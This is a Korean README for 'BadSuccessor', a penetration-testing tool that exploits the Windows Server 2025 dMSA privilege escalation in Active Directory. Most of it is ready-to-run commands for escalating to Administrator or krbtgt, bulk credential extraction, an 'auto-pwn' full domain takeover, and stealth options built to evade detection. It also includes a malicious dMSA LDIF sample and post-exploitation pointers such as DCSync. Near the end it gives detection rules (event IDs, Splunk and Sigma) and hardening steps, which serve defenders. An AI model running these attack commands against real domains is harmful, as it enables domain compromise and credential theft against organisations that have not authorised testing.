
Windows Server 2025 dMSA 권한 상승 취약점을 악용하여 쓰기 가능한 OU를 열거하고, 임의의 도메인 사용자로 권한을 상승시키며, 자격 증명을 추출하고, 인가된 AD 보안 평가에서 도메인 장악을 가능하게 합니다.
Windows Server 2025 Active Directory 환경에서 dMSA(위임 관리 서비스 계정) 권한 상승 취약점을 악용하는 침투 테스트 도구입니다.
이 도구는 승인된 침투 테스트 및 보안 연구 목적으로만 사용해야 합니다. 명시적인 서면 허가 없이 시스템에 이 도구를 사용하는 것은 불법이며 비윤리적입니다. 저자는 이 도구의 오용이나 피해에 대해 책임지지 않습니다.
중요: 이 도구는 활발히 개발 및 테스트 중입니다.
보안 커뮤니티의 다음 활동을 권장합니다:
이 도구를 사용함으로써, 귀하는 이 도구가 활발히 개발 중이며 특정 환경에 맞게 수정이 필요할 수 있음을 인정합니다.
BadSuccessor는 Windows Server 2025의 위임 관리 서비스 계정(dMSA) 기능에서 권한 상승 취약점을 악용합니다. 이 취약점을 통해 최소 권한을 가진 공격자는 도메인 관리자를 포함한 도메인의 모든 사용자로 권한을 상승시킬 수 있습니다.
이 도구는 Akamai Technologies의 Yuval Gordon의 훌륭한 연구를 기반으로 합니다:
이 취약점은 dMSA 마이그레이션 프로세스에 존재하며, 다음과 같은 단계로 진행됩니다:
msDS-ManagedAccountPrecededByLink 또는 ms-DS-Managed-Account-Preceded-By-Link를 대상 사용자를 가리키도록 설정합니다.msDS-DelegatedMSAState 또는 ms-DS-Delegated-MSA-State를 2(마이그레이션 완료)로 설정합니다.또한 KERB-DMSA-KEY-PACKAGE 구조에는 대상 사용자의 암호 키가 포함되어 있어 자격 증명 추출이 가능합니다.
pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0
**참고**: 이 도구는 impacket 0.12.0으로 테스트되었습니다. 런타임에 버전 호환성 경고가 표시됩니다.
### 선택적 종속성```bash
# For DNS discovery
pip3 install dnspython
# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChild 권한Write 권한GenericWrite 권한GenericAll 권한git clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py
### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
python3 badsuccessor.py -d -u -p [options]
### 빠른 시작 예제
#### 1. 드라이 런 모드 (NEW) - 변경 사항 없이 테스트```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
#### 3. 공격 수행```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
#### 5. 세션 관리 (신규)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234
# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID
# Clean up all dMSAs from current session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
--export-json attack_results.json --export-html attack_report.html
### 명령줄 옵션
#### 인증 인자
| 옵션 | 설명 |
|--------|-------------|
| `-d, --domain` | 대상 도메인 (예: corp.local) **[필수]** |
| `-u, --username` | 인증용 사용자 이름 **[필수]** |
| `-p, --password` | 인증용 비밀번호 |
| `--dc-ip` | 도메인 컨트롤러 IP (생략 시 자동 탐지) |
| `--ldaps` | 포트 636에서 LDAPS(SSL) 연결 강제 |
#### 공격 모드
| 옵션 | 설명 |
|--------|-------------|
| `--attack` | BadSuccessor 공격 수행 |
| `--dry-run` | **신규**: 변경 사항 없이 공격 시뮬레이션 |
| `--extract-creds` | 키 패키지를 사용하여 자격 증명 추출 |
| `--auto-pwn` | 완전 자동 도메인 탈취 |
#### 대상 지정
| 옵션 | 설명 |
|--------|-------------|
| `--target` | 권한을 상승시킬 대상 사용자 |
| `--targets` | 자격 증명 추출을 위한 쉼표로 구분된 사용자 목록 |
| `--validate-target` | **신규**: 공격 없이 대상 계정 검증 |
#### dMSA 구성
| 옵션 | 설명 |
|--------|-------------|
| `--dmsa-name` | 악성 dMSA 이름 (지정하지 않으면 자동 생성) |
| `--dmsa-pattern` | **신규**: dMSA 명명 패턴 (예: "svc{random}{target}") |
| `--ou-dn` | 사용할 특정 OU DN (지정하지 않으면 자동 감지) |
| `--dmsa-description` | **신규**: 생성된 dMSA에 대한 설명 |
| `--dmsa-display-name` | **신규**: 생성된 dMSA의 표시 이름 |
#### 열거 옵션
| 옵션 | 설명 |
|--------|-------------|
| `--enumerate` | 쓰기 권한이 있는 OU 열거 |
| `--list-targets` | 고가치 대상 목록 표시 |
| `--check-schema` | Windows Server 2025 스키마 확인 |
#### 세션 관리 (신규)
| 옵션 | 설명 |
|--------|-------------|
| `--session-id` | 기존 세션 재개 |
| `--list-sessions` | 사용 가능한 모든 세션 나열 |
| `--cleanup-session SESSION_ID` | 세션에서 모든 dMSA 정리 |
#### 정리 옵션
| 옵션 | 설명 |
|--------|-------------|
| `--cleanup` | 생성된 dMSA 제거 |
| `--dmsa-dn` | 정리 작업을 위한 dMSA DN |
| `--cleanup-all` | **신규**: 현재 세션에서 모든 dMSA 정리 |
#### 출력 옵션
| 옵션 | 설명 |
|--------|-------------|
| `--export-json FILE` | **신규**: 결과를 JSON 파일로 내보내기 |
| `--export-csv FILE` | **신규**: 결과를 CSV 파일로 내보내기 |
| `--export-html FILE` | **신규**: HTML 보고서 생성 |
| `--no-banner` | 배너 출력 숨기기 |
| `--verbose` | 자세한 출력 활성화 |
#### 은밀성 옵션 (신규)
| 옵션 | 설명 |
|--------|-------------|
| `--stealth` | 은밀 모드 활성화 (무해한 명명) |
| `--random-delay SECONDS` | 작업 간 임의 지연 (0-N초) |
## 🔧 공격 워크플로
### 1단계: 정찰
1. **스키마 확인**: 동적 속성 감지를 통해 Windows Server 2025 dMSA 지원 확인
2. **권한 검색**: CreateChild뿐만 아니라 모든 쓰기 액세스 권한이 있는 OU 식별
3. **대상 검증**: **신규** - 공격 전 포괄적인 대상 계정 분석
### 2단계: 익스플로잇
1. **드라이 런 옵션**: **신규** - 변경 사항 없이 공격 가능성 테스트
2. **dMSA 생성**: 사용자 지정 가능한 특성으로 악성 dMSA 생성
3. **특성 조작**: 스키마 인식으로 선행 링크 및 마이그레이션 상태 설정
4. **세션 추적**: **신규** - 쉬운 정리를 위해 생성된 모든 개체 추적
### 3단계: 인증
1. **Kerberos TGT 요청**: 상속된 권한으로 TGT 획득
2. **PAC 분석**: 상속된 그룹 구성원 자격 검증
3. **키 패키지 추출**: 다양한 대체 방법으로 향상된 파싱
### 4단계: 사후 익스플로잇
이 도구는 다음을 위한 즉시 사용 가능한 명령을 제공합니다:
- DCSync 공격 (모든 도메인 해시 덤프)
- 원격 명령 실행
- 측면 이동
- 지속성 구축
## 🔐 프로덕션 준비 완료 기능 (v3.0.0)
### 동적 스키마 감지 (신규)
- 환경에서 사용하는 특성 명명 규칙을 자동 감지
- dMSA 특성의 모든 알려진 변형 지원
- 다양한 Windows Server 2025 빌드에 대한 대체 메커니즘
### 향상된 대상 검증 (신규)
- 공격 전 대상 계정 검증
- 비활성화, 잠김 또는 만료된 계정 감지
- 스마트카드 요구 사항 및 위임 제한 경고
- 대상 속성에 따른 권장 사항 제공
### 세션 관리 (신규)
- 작업 전반에 걸친 지속적인 세션 추적
- 중단된 공격 재개
- 생성된 모든 dMSA 일괄 정리
- 0700 권한으로 안전하게 저장되는 세션 파일
### 드라이 런 모드 (신규)
- 변경 사항 없이 공격 가능성 테스트
- 스키마, 권한 및 대상 검증
- 실제 공격 중 발생할 상황을 정확히 보고
- 정찰 및 계획에 완벽함
### 은밀성 기능 (신규)
- 주변과 조화를 이루는 무해한 dMSA 명명 패턴
- 작업 간 임의 지연
- 사용자 지정 가능한 dMSA 특성 (설명, 표시 이름)
- 변수를 사용한 패턴 기반 명명
### 전문 출력 형식 (신규)
- 다른 도구와의 통합을 위한 JSON 내보내기
- 스프레드시트 분석을 위한 CSV 내보내기
- 스타일이 적용된 HTML 보고서
- 모든 작업에 대한 구조화된 데이터
### 엔터프라이즈급 오류 처리
- 실행 가능한 솔루션을 포함한 포괄적인 오류 메시지
- 모든 작업에 대한 안전한 대체 처리
- 타임스탬프 및 심각도와 함께 상세 로깅
- 문제 해결을 위한 자세한 정보 표시 모드
### 완전한 구현
- 모든 기능 완전 구현 (플레이스홀더 코드 없음)
- 프로덕션 테스트를 거친 코드 구조
- 전문화된 클래스를 사용한 모듈식 설계
- 다양한 AD 구성과 완전한 호환성
## 🛡️ 탐지
### 모니터링할 이벤트 ID
| 이벤트 ID | 소스 | 설명 |
|----------|--------|-------------|
| **5137** | 보안 | 디렉터리 서비스 개체 생성 (dMSA) |
| **5136** | 보안 | 디렉터리 서비스 개체 수정 |
| **2946** | 디렉터리 서비스 | 그룹 관리 서비스 계정 인증 |
| **4768** | 보안 | Kerberos TGT 요청됨 |
| **4769** | 보안 | Kerberos 서비스 티켓 요청됨 |
### 탐지 규칙```
# Splunk Query Example
index=windows EventCode=5137
| where ObjectClass="msDS-DelegatedManagedServiceAccount" OR ObjectClass="ms-DS-Delegated-Managed-Service-Account"
| where NOT user IN ("approved_admins")
# Sigma Rule Example
detection:
selection:
EventID: 5136
AttributeLDAPDisplayName:
- 'msDS-ManagedAccountPrecededByLink'
- 'ms-DS-Managed-Account-Preceded-By-Link'
condition: selection
OU 권한 제한 ```powershell
Remove-ADPermission -Identity "OU=ServiceAccounts,DC=corp,DC=local" -User "Domain Users" -AccessRights CreateChild,Write,GenericWrite,GenericAll
Get-ADPermission -Identity "OU=ServiceAccounts,DC=corp,DC=local" | Where-Object {$_.IdentityReference -match "Authenticated Users|Everyone"}
dMSA 작업 모니터링 ```powershell
Set-ADObject -Identity "CN=Schema,CN=Configuration,DC=corp,DC=local" -Add @{ 'msDS-ReplAttributeMetaData' = @('msDS-ManagedAccountPrecededByLink', 'ms-DS-Managed-Account-Preceded-By-Link') }
탐지 구현
Akamai의 연구에 따르면:
dn: CN=evil_dmsa,OU=ServiceAccounts,DC=corp,DC=local objectClass: top objectClass: msDS-GroupManagedServiceAccount objectClass: msDS-DelegatedManagedServiceAccount sAMAccountName: evil_dmsa$ userAccountControl: 4096
msDS-ManagedAccountPrecededByLink: CN=Administrator,CN=Users,DC=corp,DC=local
ms-DS-Managed-Account-Preceded-By-Link: CN=Administrator,CN=Users,DC=corp,DC=local msDS-DelegatedMSAState: 2 msDS-SupportedEncryptionTypes: 28
### 핵심 패키지 구조
KERB-DMSA-KEY-PACKAGE에는 다음이 포함됩니다:
- 현재 키: dMSA의 암호화 키
- 이전 키: 대상 사용자의 암호화 키(NTLM 해시 포함)
- 비밀번호 크래킹 없이 직접 자격 증명 추출 가능
## 🤝 기여하기
기여를 환영합니다! 다음 단계를 따르세요:
1. 저장소를 포크하세요
2. 기능 브랜치를 생성하세요 (`git checkout -b feature/enhancement`)
3. 변경 사항을 커밋하세요 (`git commit -m 'Add new feature'`)
4. 브랜치에 푸시하세요 (`git push origin feature/enhancement`)
5. 풀 리퀘스트를 제출하세요
### 개발 지침
- PEP 8 스타일 가이드를 따르세요
- 새로운 기능에 대한 단위 테스트를 추가하세요
- 문서를 업데이트하세요
- 여러 AD 환경에서 테스트하세요
- 다양한 스키마 특성 명명 규칙으로 테스트하세요
- 모든 기능이 프로덕션 준비 상태인지 확인하세요(플레이스홀더 없음)
## 📝 변경 로그
### v2.3.0 (2025-05-28) - 프로덕션 준비 릴리스
- **새 기능**: 안전한 공격 시뮬레이션을 위한 드라이 런 모드
- **새 기능**: 상태 저장이 포함된 종합 세션 관리
- **새 기능**: 상세 분석을 통한 대상 계정 검증
- **새 기능**: 내보내기 기능(JSON, CSV, HTML)
- **새 기능**: 무해한 이름 패턴을 사용한 스텔스 모드
- **새 기능**: 사용자 지정 가능한 dMSA 특성(설명, 표시 이름)
- **새 기능**: 변수를 사용한 패턴 기반 dMSA 명명
- **새 기능**: 스텔스 작업을 위한 임의 지연 지원
- **새 기능**: 동적 스키마 특성 감지
- **새 기능**: 폴백을 지원하는 향상된 키 패키지 파싱
- **새 기능**: 대량 정리 작업
- **새 기능**: 전문적인 오류 처리 및 로깅
- **개선**: 완전한 모듈식 아키텍처
- **개선**: 종속성 버전 확인
- **수정**: 모든 플레이스홀더 코드가 완전한 구현으로 대체됨
### v2.2.0 (2025-05-27) - 호환성 업데이트
- **수정**: impacket 가져오기 문제 해결(seq_decode 종속성 제거)
- **수정**: impacket 0.12.0과 호환
- **기능**: 두 dMSA 특성 명명 규칙 모두 지원 추가
- **개선**: 가져오기 실패에 대한 더 나은 오류 처리
- **개선**: 더 강력한 스키마 감지
### v2.1.0 (2025-05-25) - 완전한 구현
- **주요**: 향상된 ACL 권한 확인 - 이제 모든 쓰기 권한 감지
- **주요**: 기본 그룹(인증된 사용자, Everyone 등) 지원 추가
- **수정**: 모든 플레이스홀더 코드 제거
- **수정**: 모든 기능의 완전한 구현
- **개선**: 더 나은 오류 처리 및 정보 제공 출력
- **개선**: 더 포괄적인 OU 열거(컨테이너 포함)
- **기능**: 발견된 각 OU에 대한 정확한 권한 표시
- **기능**: 보호된 사용자 및 위임 제한 감지
### v2.0.0 (2025-05-24) - 향상된 에디션
- **주요**: 전체 Kerberos 인증 구현
- **주요**: 자격 증명 탈취를 위한 KERB-DMSA-KEY-PACKAGE 추출
- **주요**: 기본 ACL 권한 확인
- **주요**: Windows Server 2025 스키마 검증
- **기능**: 대량 자격 증명 추출 모드
- **기능**: 자동 도메인 장악을 위한 Auto-pwn
- **기능**: 향상된 대상 열거
- **기능**: 사후 침투 명령 생성
- **개선**: 더 나은 오류 처리 및 로깅
- **개선**: 프로덕션 준비 코드 구조
## 📚 참고 자료
- [원본 Akamai 연구](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory)
- [GitHub 이슈 #1 - 향상된 권한 확인](https://github.com/cybrly/badsuccessor/issues/1)
- [GitHub 이슈 #2 - 스키마 특성 명명](https://github.com/cybrly/badsuccessor/issues/2)
- [Microsoft 보안 대응 센터](https://msrc.microsoft.com/)
## 🐛 알려진 문제
- 일부 환경에서는 다른 특성 명명 규칙을 사용할 수 있음(동적 감지로 처리됨)
- 해시 인증은 초기 구현을 위해 비밀번호가 필요함
- 일부 환경에서는 수동 Kerberos 구성이 필요할 수 있음
- 감지 규칙은 환경별로 사용자 지정이 필요함
## 🔍 문제 해결
### 가져오기 오류
impacket에서 가져오기 오류가 발생하는 경우:```bash
# Ensure you have the correct version
pip3 uninstall impacket
pip3 install impacket==0.12.0
# Check version
python3 -c "import impacket; print(impacket.__version__)"
이 도구에는 이제 동적 스키마 감지 기능이 포함됩니다. 그래도 실패한다면:```powershell
Get-ADObject -Filter {name -like "delegated" -or name -like "preceded"} -SearchBase "CN=Schema,CN=Configuration,DC=corp,DC=local" | Select Name
### 권한 거부 오류
새로운 dry-run 모드를 사용하여 테스트하세요:```bash
# Test without making changes
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Check your exact permissions
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --verbose
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
rm -rf /tmp/.badsuccessor_sessions/
## 📧 문의
질문, 문제 또는 책임 있는 공개 절차에 대해서는:
- GitHub Issue를 열어주세요
- 책임 있는 공개 관행을 따르세요
- 패치 개발 기간으로 90일을 허용해 주세요
---
**⚡ 기억하세요: 큰 힘에는 큰 책임이 따릅니다. 항상 테스트 전에 적절한 허가를 받아야 합니다!** 🔐